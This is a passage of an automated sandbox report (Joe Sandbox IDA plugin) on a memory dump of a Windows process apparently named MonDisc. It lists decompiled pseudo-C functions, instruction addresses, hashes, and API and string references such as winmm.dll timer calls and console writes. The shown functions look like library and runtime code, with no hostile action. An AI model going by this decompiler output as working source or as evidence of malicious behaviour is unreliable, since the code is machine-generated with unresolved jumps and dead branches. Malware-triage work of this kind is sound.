				r8d = 0;
				_t59 = _t54;
				dil = E00007FF67FF6ED1A47B4(0, _t54, _t59, _t63, __rbp);
				goto 0xed1ab257;
				goto 0xed1ab24f;
				if (_t45 == 0) goto 0xed1ab24a;
				if (_t45 == 0) goto 0xed1ab243;
				if (_t45 == 0) goto 0xed1ab218;
				if (2 == 1) goto 0xed1ab200;
				goto 0xed1ab257;
				_t47 =  *((intOrPtr*)(_t59 + 0x32)) - dil;
				if (_t47 == 0) goto 0xed1ab20d;
				goto 0xed1ab257;
				E00007FF67FF6ED1ADE84(0, _t54, _t59,  *((intOrPtr*)(_t59 + 0x10)), __r8);
				goto 0xed1ab257;
				E00007FF67FF6ED1A9EFC(_t59 + 0x18, __r8);
				if (_t47 == 0) goto 0xed1ab23a;
				if (_t51 - 1 == 1) goto 0xed1ab231;
				goto 0xed1ab1dc;
				r8d = 0;
				goto 0xed1ab1c2;
				r8d = 0;
				_t8 = _t68 + 8; // 0x8
				goto 0xed1ab1d1;
				E00007FF67FF6ED1AB5C4(_t21, _t8, _t51 - 1, _t54, _t59 + 0x18, _t63);
				goto 0xed1ab257;
				r8d = 0;
				return E00007FF67FF6ED1AB77C(_t21, 0x10, _t54, _t59 + 0x18, _t63, _t64);
			}

0x7ff6ed1ab148
0x7ff6ed1ab148
0x7ff6ed1ab148
0x7ff6ed1ab148
0x7ff6ed1ab148
0x7ff6ed1ab152
0x7ff6ed1ab155
0x7ff6ed1ab158
0x7ff6ed1ab15b
0x7ff6ed1ab161
0x7ff6ed1ab165
0x7ff6ed1ab167
0x7ff6ed1ab16c
0x7ff6ed1ab171
0x7ff6ed1ab176
0x7ff6ed1ab178
0x7ff6ed1ab17b
0x7ff6ed1ab180
0x7ff6ed1ab18a
0x7ff6ed1ab190
0x7ff6ed1ab197
0x7ff6ed1ab19e
0x7ff6ed1ab1a3
0x7ff6ed1ab1ac
0x7ff6ed1ab1b1
0x7ff6ed1ab1b5
0x7ff6ed1ab1b7
0x7ff6ed1ab1bb
0x7ff6ed1ab1bd
0x7ff6ed1ab1c5
0x7ff6ed1ab1ca
0x7ff6ed1ab1cc
0x7ff6ed1ab1d1
0x7ff6ed1ab1d9
0x7ff6ed1ab1df
0x7ff6ed1ab1e6
0x7ff6ed1ab1eb
0x7ff6ed1ab1f0
0x7ff6ed1ab1f5
0x7ff6ed1ab1fa
0x7ff6ed1ab1fe
0x7ff6ed1ab202
0x7ff6ed1ab206
0x7ff6ed1ab20b
0x7ff6ed1ab211
0x7ff6ed1ab216
0x7ff6ed1ab21c
0x7ff6ed1ab225
0x7ff6ed1ab22b
0x7ff6ed1ab22f
0x7ff6ed1ab231
0x7ff6ed1ab238
0x7ff6ed1ab23a
0x7ff6ed1ab23d
0x7ff6ed1ab241
0x7ff6ed1ab243
0x7ff6ed1ab248
0x7ff6ed1ab24f
0x7ff6ed1ab261

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e70ee0cfed42a35d73496f5b35740352cff39151e807c3dd0d612056e7018585
Instruction ID: 399cf082dab757147d518141ae1e00b88810d702eb0939a9bc4280ef1c8fbdea
Opcode Fuzzy Hash: e70ee0cfed42a35d73496f5b35740352cff39151e807c3dd0d612056e7018585
Instruction Fuzzy Hash: B5319E73E4C1C345F6A599299715BFD12529F823C0E248133C01E83E9AFC2FB84E960B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED1AB384 Relevance: .1, Instructions: 90
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 71%

			E00007FF67FF6ED1AB384(void* __rax, long long __rbx, long long __rcx, void* __r8, long long _a8) {
				void* _t21;
				intOrPtr _t22;
				void* _t42;
				intOrPtr _t43;
				void* _t44;
				void* _t45;
				void* _t47;
				void* _t51;
				long long _t54;
				long long _t56;
				long long _t59;
				void* _t63;
				void* _t64;

				_t68 = __r8;
				_t56 = __rcx;
				_a8 = __rbx;
				_t22 =  *((intOrPtr*)(__rcx + 0x48));
				_t54 = __rcx;
				_t42 = _t22 - 5;
				if (_t42 > 0) goto 0xed1ab424;
				if (_t42 == 0) goto 0xed1ab41d;
				_t43 = _t22;
				if (_t43 == 0) goto 0xed1ab3e4;
				if (_t43 == 0) goto 0xed1ab3d5;
				if (_t43 == 0) goto 0xed1ab3d1;
				if (_t43 == 0) goto 0xed1ab3c1;
				_t44 = _t22 - 0xffffffffffffffff - 1;
				if (_t44 != 0) goto 0xed1ab438;
				goto 0xed1ab48b;
				r8d = 1;
				goto 0xed1ab48e;
				goto 0xed1ab3c6;
				E00007FF67FF6ED1AC060(_t21, 1, __rax, __rcx, __rcx, _t63, __r8);
				goto 0xed1ab493;
				E00007FF67FF6ED1A9F98(_t56 + 0x18, __r8);
				_t51 = __rax - 1;
				if (_t44 == 0) goto 0xed1ab408;
				_t45 = _t51 - 1;
				if (_t45 != 0) goto 0xed1ab418;
				r8d = 0;
				E00007FF67FF6ED1A5290(0, _t54, _t54);
				goto 0xed1ab415;
				r8d = 0;
				_t59 = _t54;
				dil = E00007FF67FF6ED1A4B04(0, _t54, _t59);
				goto 0xed1ab493;
				goto 0xed1ab48b;
				if (_t45 == 0) goto 0xed1ab486;
				if (_t45 == 0) goto 0xed1ab47f;
				if (_t45 == 0) goto 0xed1ab454;
				if (2 == 1) goto 0xed1ab43c;
				goto 0xed1ab493;
				_t47 =  *((intOrPtr*)(_t59 + 0x34)) - dil;
				if (_t47 == 0) goto 0xed1ab449;
				goto 0xed1ab493;
				E00007FF67FF6ED1ADF70(0, _t54, _t59,  *((intOrPtr*)(_t59 + 0x10)), __r8);
				goto 0xed1ab493;
				E00007FF67FF6ED1A9F98(_t59 + 0x18, __r8);
				if (_t47 == 0) goto 0xed1ab476;
				if (_t51 - 1 == 1) goto 0xed1ab46d;
				goto 0xed1ab418;
				r8d = 0;
				goto 0xed1ab3fe;
				r8d = 0;
				_t8 = _t68 + 8; // 0x8
				goto 0xed1ab40d;
				E00007FF67FF6ED1AB698(_t21, _t8, _t51 - 1, _t54, _t59 + 0x18, __r8);
				goto 0xed1ab493;
				r8d = 0;
				return E00007FF67FF6ED1AB8E0(_t21, 0x10, _t54, _t59 + 0x18, _t63, _t64);
			}

0x7ff6ed1ab384
0x7ff6ed1ab384
0x7ff6ed1ab384
0x7ff6ed1ab38e
0x7ff6ed1ab391
0x7ff6ed1ab394
0x7ff6ed1ab397
0x7ff6ed1ab39d
0x7ff6ed1ab3a1
0x7ff6ed1ab3a3
0x7ff6ed1ab3a8
0x7ff6ed1ab3ad
0x7ff6ed1ab3b2
0x7ff6ed1ab3b4
0x7ff6ed1ab3b7
0x7ff6ed1ab3bc
0x7ff6ed1ab3c6
0x7ff6ed1ab3cc
0x7ff6ed1ab3d3
0x7ff6ed1ab3da
0x7ff6ed1ab3df
0x7ff6ed1ab3e8
0x7ff6ed1ab3ed
0x7ff6ed1ab3f1
0x7ff6ed1ab3f3
0x7ff6ed1ab3f7
0x7ff6ed1ab3f9
0x7ff6ed1ab401
0x7ff6ed1ab406
0x7ff6ed1ab408
0x7ff6ed1ab40d
0x7ff6ed1ab415
0x7ff6ed1ab41b
0x7ff6ed1ab422
0x7ff6ed1ab427
0x7ff6ed1ab42c
0x7ff6ed1ab431
0x7ff6ed1ab436
0x7ff6ed1ab43a
0x7ff6ed1ab43e
0x7ff6ed1ab442
0x7ff6ed1ab447
0x7ff6ed1ab44d
0x7ff6ed1ab452
0x7ff6ed1ab458
0x7ff6ed1ab461
0x7ff6ed1ab467
0x7ff6ed1ab46b
0x7ff6ed1ab46d
0x7ff6ed1ab474
0x7ff6ed1ab476
0x7ff6ed1ab479
0x7ff6ed1ab47d
0x7ff6ed1ab47f
0x7ff6ed1ab484
0x7ff6ed1ab48b
0x7ff6ed1ab49d

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b414409d6eedd3e06fed74f82ea1c22cea61f4c92f00c1001c028b625302acb
Instruction ID: 5cd2ef62b9a3c3d9f8e1fc7000f0cb7a80b9a03c555819867d7a1fcd8c5380f0
Opcode Fuzzy Hash: 9b414409d6eedd3e06fed74f82ea1c22cea61f4c92f00c1001c028b625302acb
Instruction Fuzzy Hash: 74318A33E1C2C386F6A9492997557F91642AF823C0E648431C50FC7A8BFC3FA84E950B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED112310 Relevance: .1, Instructions: 62
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6ED112310(void* __eax, void* __ecx, unsigned int* __rcx) {
				signed long long _t47;

				_t40 =  *__rcx;
				r9d = r9d & 0x0007ffff;
				 *__rcx =  *__rcx << 0x00000012 ^  *__rcx >> 0x0000000e ^  *__rcx >> 0x0000002d ^ _t40 << 0x00000012;
				_t47 = (__rcx[2] << 0x0000001c ^ __rcx[2] >> 0x0000000b) & 0xffffffff ^ __rcx[2] >> 0x0000001e ^ __rcx[2] << 0x0000001c;
				__rcx[2] = _t47;
				_t38 = __rcx[6];
				__rcx[4] = _t47 ^ __rcx[4] >> 0x00000030 ^ __rcx[4] << 0x00000007;
				__rcx[6] = __rcx[6] >> 0x00000012 ^ __rcx[6] << 0x00000008 ^ __rcx[6] >> 0x00000027 ^ _t38 << 0x00000008;
				return __eax;
			}

0x7ff6ed112310
0x7ff6ed11232e
0x7ff6ed112343
0x7ff6ed112376
0x7ff6ed11237f
0x7ff6ed11239b
0x7ff6ed1123b3
0x7ff6ed1123e2
0x7ff6ed1123f9

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b934a0ebc491febe2d1dc5f66921b8830799fa26ec9ea80ecb33fefc790d3758
Instruction ID: a53e10453b5252c614bdcc4211d930ed8d69d43824e9768ac92c021c2d049f3b
Opcode Fuzzy Hash: b934a0ebc491febe2d1dc5f66921b8830799fa26ec9ea80ecb33fefc790d3758
Instruction Fuzzy Hash: 671169E2311B4D03ED84D7AAAC397665696D78CFD5B50E235DF3C8B388E93C9241C200

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED112230 Relevance: .1, Instructions: 59
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6ED112230(void* __eax, void* __ecx, unsigned int* __rcx) {
				signed long long _t42;

				_t35 =  *__rcx;
				r9d = r9d & 0x0007ffff;
				 *__rcx =  *__rcx << 0x00000012 ^  *__rcx >> 0x0000000e ^  *__rcx >> 0x0000002d ^ _t35 << 0x00000012;
				_t42 = (__rcx[2] << 0x0000001c ^ __rcx[2] >> 0x0000000b) & 0xffffffff ^ __rcx[2] >> 0x0000001e ^ __rcx[2] << 0x0000001c;
				__rcx[2] = _t42;
				__rcx[4] = _t42 ^ __rcx[4] >> 0x00000030 ^ __rcx[4] << 0x00000007;
				_t45 = __rcx[6];
				r8d = r8d & 0x01ffffff;
				__rcx[6] = __rcx[6] >> 0x00000012 ^ __rcx[6] << 0x00000008 ^ __rcx[6] >> 0x00000027 ^ _t45 << 0x00000008;
				return __eax;
			}

0x7ff6ed112230
0x7ff6ed11224e
0x7ff6ed112263
0x7ff6ed112296
0x7ff6ed1122a6
0x7ff6ed1122c8
0x7ff6ed1122cc
0x7ff6ed1122e8
0x7ff6ed1122f9
0x7ff6ed112303

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 276b0115e432cd05c1be9bc73e0defae35e935e8034efb688284aa4fd64f4236
Instruction ID: 2dc5b7931582a6f7b45c86cef79841704ae95658c95aff938bb63e50628a2a01
Opcode Fuzzy Hash: 276b0115e432cd05c1be9bc73e0defae35e935e8034efb688284aa4fd64f4236
Instruction Fuzzy Hash: 0801D2F2310B8D03AD88C7AAA8399AA22A2D78DFC0790F135DF2C5B705E93CD301C200

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED1165F0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 134libraryloadersynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00007FF6ED11668D
RtlDeleteCriticalSection.NTDLL ref: 00007FF6ED11669A
LoadLibraryExA.KERNEL32 ref: 00007FF6ED11678C
GetProcAddress.KERNEL32 ref: 00007FF6ED1167A8
GetProcAddress.KERNEL32 ref: 00007FF6ED1167C3
RtlInitializeCriticalSection.NTDLL ref: 00007FF6ED1167EE
CreateThread.KERNEL32 ref: 00007FF6ED116817

Strings

winmm.dll, xrefs: 00007FF6ED116783
timeEndPeriod, xrefs: 00007FF6ED1167B5
timeBeginPeriod, xrefs: 00007FF6ED11679E

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: AddressCriticalProcSection$CreateDeleteInitializeLibraryLoadObjectSingleThreadWait
String ID: timeBeginPeriod$timeEndPeriod$winmm.dll
API String ID: 3275198946-184456188
Opcode ID: 2e27b2875d66b769ba64ba660a062e27fc3d085249fb0a606fc32e7d451a4fae
Instruction ID: 0cb1e03d9151c060ce51b6b31221ae41a9a14931130eac672b5d1c0fef1b3872
Opcode Fuzzy Hash: 2e27b2875d66b769ba64ba660a062e27fc3d085249fb0a606fc32e7d451a4fae
Instruction Fuzzy Hash: BC615B33A0CB4389EB108B11E9443B877A9BB54B81F540535CA5E836A9FF3FE059C70A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED1169F0 Relevance: 14.0, APIs: 5, Strings: 3, Instructions: 44libraryloaderthreadCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32 ref: 00007FF6ED116A0C
GetProcAddress.KERNEL32 ref: 00007FF6ED116A25
GetProcAddress.KERNEL32 ref: 00007FF6ED116A3A
RtlInitializeCriticalSection.NTDLL ref: 00007FF6ED116A60
CreateThread.KERNEL32 ref: 00007FF6ED116A85

Strings

winmm.dll, xrefs: 00007FF6ED116A03
timeEndPeriod, xrefs: 00007FF6ED116A2F
timeBeginPeriod, xrefs: 00007FF6ED116A1B

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: AddressProc$CreateCriticalInitializeLibraryLoadSectionThread
String ID: timeBeginPeriod$timeEndPeriod$winmm.dll
API String ID: 4260375681-184456188
Opcode ID: b633c80ecc07e22be945b0d230a5f9c6b3a5a3e41201ca62d3f1db35ac4fbc3e
Instruction ID: 86210ad446c70593c324ae787f137db743fd5079fd4536bc95e0b678a870672d
Opcode Fuzzy Hash: b633c80ecc07e22be945b0d230a5f9c6b3a5a3e41201ca62d3f1db35ac4fbc3e
Instruction Fuzzy Hash: 1D111333A09B0282EB24CF64A4543A963E1FB48B48F544439CA4DC7668FF3FE588C309

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED1EB46C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF6ED1EB49D
GetLastError.KERNEL32 ref: 00007FF6ED1EB4A9
CloseHandle.KERNEL32 ref: 00007FF6ED1EB4C1
CreateFileW.KERNEL32 ref: 00007FF6ED1EB4EC
WriteConsoleW.KERNEL32 ref: 00007FF6ED1EB50B

Strings

CONOUT$, xrefs: 00007FF6ED1EB4CD

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 86bcb4b0c7a01bda6536602c0fa06fc6b2cfd6997b25edd1e2b2b1dde50fce53
Instruction ID: ebe9d2ee3485c907dbec6d4895cbd736899d10fa8ba3a1cfbe385c49c295d527
Opcode Fuzzy Hash: 86bcb4b0c7a01bda6536602c0fa06fc6b2cfd6997b25edd1e2b2b1dde50fce53
Instruction Fuzzy Hash: 27119032B18A4286E7508B52F95476972A4FB88FE4F040234EE1EC7B94EF3ED9148749

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED1B4798 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 167COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6ED1B47FB
_set_statfp.LIBCMT ref: 00007FF6ED1B481F

Strings

", xrefs: 00007FF6ED1B487C
cosh, xrefs: 00007FF6ED1B485E

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: _set_statfp
String ID: "$cosh
API String ID: 1156100317-3800341493
Opcode ID: 1d76b8af4efe523374b9bfc9b946712f01b33a98e4824ca67bba6a7e8418b0cb
Instruction ID: f275308014bb36c088405fda4e4d243cac64b6505011833bf9561a15bf3f4f9b
Opcode Fuzzy Hash: 1d76b8af4efe523374b9bfc9b946712f01b33a98e4824ca67bba6a7e8418b0cb
Instruction Fuzzy Hash: E081CD23E28F818CD6638B34A4513B67364AF5A3D5F11C333E64E73A65EF2EA0864705

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED1CF8C0 Relevance: 7.7, APIs: 5, Instructions: 202
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E00007FF67FF6ED1CF8C0(signed long long __ecx, void* __edi, intOrPtr* __rax, long __rbx, signed short* __rdx, void* __r11, long long _a32) {
				signed short _v72;
				void* _v84;
				unsigned int _v88;
				intOrPtr _v96;
				intOrPtr _v100;
				long _v104;
				signed int _v120;
				void* __rsi;
				void* __rbp;
				void* _t89;
				long _t98;
				unsigned int _t99;
				signed int _t116;
				void* _t127;
				intOrPtr _t130;
				intOrPtr _t131;
				void* _t150;
				intOrPtr _t162;
				unsigned long long _t168;
				signed int* _t170;
				long _t171;
				signed short* _t184;
				signed short* _t187;
				void* _t188;
				void* _t190;
				signed long long _t199;
				void* _t200;
				signed long long _t202;
				void* _t203;
				signed short* _t204;
				signed long long _t206;

				_t184 = __rdx;
				_t171 = __rbx;
				_t127 = __edi;
				_a32 = __rbx;
				r14d = r8d;
				_t199 = __ecx;
				_t187 = __rdx;
				if (r8d == 0) goto 0xed1cfb89;
				if (__rdx != 0) goto 0xed1cf90f;
				E00007FF67FF6ED184D64(__rax);
				 *__rax = 0;
				E00007FF67FF6ED184D84(__rax);
				 *__rax = 0x16;
				E00007FF67FF6ED1C599C();
				goto 0xed1cfb8b;
				_t202 = _t199 >> 6;
				_t206 = _t199 + _t199 * 8;
				if (_t188 - 1 - 1 > 0) goto 0xed1cf941;
				if (( !r14d & 0x00000001) == 0) goto 0xed1cf8f0;
				if (( *( *((intOrPtr*)(0xed238660 + _t202 * 8)) + 0x38 + _t206 * 8) & 0x00000020) == 0) goto 0xed1cf957;
				_t17 = _t184 + 2; // 0x2
				r8d = _t17;
				0xed1d23f4();
				_v88 = __rbx;
				if (E00007FF67FF6ED1E5B44(r12d, _t199) == 0) goto 0xed1cfa76;
				_t162 =  *((intOrPtr*)(0xed238660 + _t202 * 8));
				if ( *(0xed238660 + 0x38 + _t206 * 8) >= 0) goto 0xed1cfa76;
				E00007FF67FF6ED1C53E4(_t162, __rbx, _t184, _t188);
				if ( *((intOrPtr*)( *((intOrPtr*)(_t162 + 0x90)) + 0x138)) != _t171) goto 0xed1cf9ac;
				if ( *((intOrPtr*)( *((intOrPtr*)(0xed238660 + _t202 * 8)) + 0x39 + _t206 * 8)) == 0) goto 0xed1cfa76;
				if (GetConsoleMode(??, ??) == 0) goto 0xed1cfa76;
				if (sil == 0) goto 0xed1cfa58;
				sil = sil - 1;
				if (sil - 1 > 0) goto 0xed1cfb12;
				_t200 = _t187 + _t203;
				_v104 = _t171;
				_t204 = _t187;
				if (_t187 - _t200 >= 0) goto 0xed1cfb08;
				_v72 =  *_t204 & 0x0000ffff;
				_t89 = E00007FF67FF6ED1E69D0( *_t204 & 0xffff);
				_t116 = _v72 & 0x0000ffff;
				if (_t89 != _t116) goto 0xed1cfa4a;
				_t130 = _v100 + 2;
				_v100 = _t130;
				if (_t116 != 0xa) goto 0xed1cfa3b;
				if (E00007FF67FF6ED1E69D0(0xd) != 0xd) goto 0xed1cfa4a;
				_t131 = _t130 + 1;
				_v100 = _t131;
				if ( &(_t204[1]) - _t200 >= 0) goto 0xed1cfb08;
				goto 0xed1cf9fb;
				_v104 = GetLastError();
				goto 0xed1cfb08;
				r9d = r14d;
